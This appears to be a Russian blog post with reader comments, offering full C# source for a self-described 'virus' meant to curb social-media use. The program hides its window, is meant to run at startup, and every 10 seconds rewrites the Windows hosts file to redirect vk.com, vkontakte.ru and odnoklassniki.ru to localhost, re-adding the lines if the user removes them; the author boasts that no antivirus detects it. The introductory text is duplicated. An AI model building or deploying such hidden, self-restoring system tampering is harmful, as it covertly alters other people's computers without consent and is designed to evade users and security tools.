После того как социальные сети очень плотно вошли в нашу жизнь, многие люди стали там проводить практически всё своё свободное, а иногда и рабочее время. Особенно это касается подростков, хотя есть исключения в любом возрасте.
Бессонные ночи, пропущенные уроки, отсутствие какой-либо самодеятельности и т.п. Было принято решение как-то бороться с этой социальной зависимостью. Для этого, собственно говоря, и был написан этот простенький вирус. Достаточно добавить его в автозагрузку и вуаля - cайты социальных сетей больше не доступны!
Принцип его работы очень прост:
Проверяется наличие файла hosts (C:\WINDOWS\system32\drivers\etc\hosts). Если такой файл существует (а как правило он существует), то в него дописываются несколько строк, перенаправляющих пользователей с vkontakte.ru, vk.com, и odnoklassniki.ru на localhost. Наличие файла и переадресации в нем проверяется по таймеру - каждые 10 секунд, поэтому его удаление или редактирование через 10 секунд приведет к тому же самому результату (простая защита от "продвинутых" юзеров).
Проект имеет всего лишь одну форму и таймер. Форма в процессе загрузки скрывается от глаз пользователя, поэтому если нужно прекратить действие программы - достаточно зарубить процесс в диспетчере задач и отредактировать файл hosts до прежнего состояния...
На virustotal ни один антивирус не определяет текущий файл как вирус. В процессе работы срабатывание эвристики было замечено только у MS EssentialSecurity.
Ну и, собственно говоря, само тело вируса:
Бессонные ночи, пропущенные уроки, отсутствие какой-либо самодеятельности и т.п. Было принято решение как-то бороться с этой социальной зависимостью. Для этого, собственно говоря, и был написан этот простенький вирус. Достаточно добавить его в автозагрузку и вуаля - cайты социальных сетей больше не доступны!
Принцип его работы очень прост:
Проверяется наличие файла hosts (C:\WINDOWS\system32\drivers\etc\hosts). Если такой файл существует (а как правило он существует), то в него дописываются несколько строк, перенаправляющих пользователей с vkontakte.ru, vk.com, и odnoklassniki.ru на localhost. Наличие файла и переадресации в нем проверяется по таймеру - каждые 10 секунд, поэтому его удаление или редактирование через 10 секунд приведет к тому же самому результату (простая защита от "продвинутых" юзеров).
Проект имеет всего лишь одну форму и таймер. Форма в процессе загрузки скрывается от глаз пользователя, поэтому если нужно прекратить действие программы - достаточно зарубить процесс в диспетчере задач и отредактировать файл hosts до прежнего состояния...
На virustotal ни один антивирус не определяет текущий файл как вирус. В процессе работы срабатывание эвристики было замечено только у MS EssentialSecurity.
Ну и, собственно говоря, само тело вируса:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace systems
{
public partial class Form1 : Form
{
WorkWithHosts file = new WorkWithHosts();
public Form1()
{
InitializeComponent();
// Запускаем таймер
timer1.Interval = 10000;
timer1.Enabled = true;
}
private void Form1_Load(object sender, EventArgs e)
{
// Скрываем форму
ShowInTaskbar = false;
this.Visible = false;
this.ShowIcon = false;
}
public void Start()
{
// проверяем наличие файла hosts
// и строк переадресации
if(!file.FileIsEnable())
{
file.CreateTheFile();
}
if(!file.FileContainUrl())
{
file.AddUrls();
}
}
private void timer1_Tick(object sender, EventArgs e)
{
// Запуск программы
Start();
}
}
// Работаем с файлом hosts
class WorkWithHosts
{
// получаем информацию о текущем файле
FileInfo fileHosts = new FileInfo("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
// проверяем наличие файла
public bool FileIsEnable()
{
if (fileHosts.Exists == false)
{
return false;
}
return true;
}
// создаем файл:
public void CreateTheFile()
{
StreamWriter fileOrigin;
string originInfo = "127.0.0.1 localhost";
fileOrigin = File.CreateText("C:\\WINDOWS\\system32\\drivers\\etc\\hosts");
fileOrigin.WriteLine(originInfo);
fileOrigin.Close();
SetFileAttributes();
}
// устанавливаем аттрибуты файла (скрываем и разрешаем запись)
private void SetFileAttributes()
{
fileHosts.Attributes = FileAttributes.ReadOnly | FileAttributes.Hidden;
fileHosts.Attributes = fileHosts.Attributes & ~FileAttributes.ReadOnly;
}
// читаем содержимое файла
private string[] ReadFile()
{
try
{
string[] hostsData = File.ReadAllLines(@"C:\WINDOWS\system32\drivers\etc\hosts");
return hostsData;
}
catch
{
return null;
}
}
// проверяем наличие строк переадресации
public bool FileContainUrl()
{
string[] hostsData = ReadFile();
if (hostsData != null)
{
foreach (string url in hostsData)
{
if (url.IndexOf("vkontakte.ru") != -1)
{
return true;
}
}
}
else
{
CreateTheFile();
}
return false;
}
// Добавляем строки:
public void AddUrls()
{
try
{
StreamWriter file = new StreamWriter("C:\\WINDOWS\\system32\\drivers\\etc\\hosts", true);
file.WriteLine();
file.WriteLine("127.0.0.1 vk.com");
file.WriteLine("127.0.0.1 vkontakte.ru");
file.WriteLine("127.0.0.1 odnoklassniki.ru");
file.Close();
}
catch
{
// Исключение предусмотрено на тот случай
// если файл используется другим процессом
Application.DoEvents();
}
}
}
}


спс за информацию, давно такое хотел написать, но знания не позволяли
ОтветитьУдалитьСпасибо
ОтветитьУдалитьВам, спасибо!
ОтветитьУдалить